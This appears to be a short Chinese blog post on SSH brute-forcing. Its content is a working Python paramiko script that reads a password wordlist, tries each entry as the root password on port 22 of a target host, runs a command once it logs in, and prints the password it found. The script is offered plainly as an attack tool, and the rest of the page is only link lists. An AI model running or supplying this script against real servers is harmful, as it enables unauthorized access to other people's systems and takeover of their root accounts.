使用pramiko模块

代码图:

import paramiko
import sys
import time
def cont():
  b=open(sys.argv[1],'r').read().split('\n')
  for pwd in b:
    try:
      client=paramiko.SSHClient()
      client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
      client.connect(sys.argv[2],22,username='root',password=pwd,timeout=4)
      stdin, stdout, stderr=client.exec_command('echo 爆破成功')
      for std in stdout.readlines():
        print(std)
      client.close()
      print('[+]密码正确')
      print('[!]密码是:',pwd)
      exit()
    except Exception as e:
      print('[-]密码错误',pwd,e)
cont()

  运行截图:

ssh爆破篇

 

相关文章:

  • 2021-06-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
猜你喜欢
  • 2021-08-08
  • 2021-07-31
  • 2022-12-23
  • 2022-01-09
  • 2022-12-23
  • 2022-12-23
  • 2021-07-14
相关资源
相似解决方案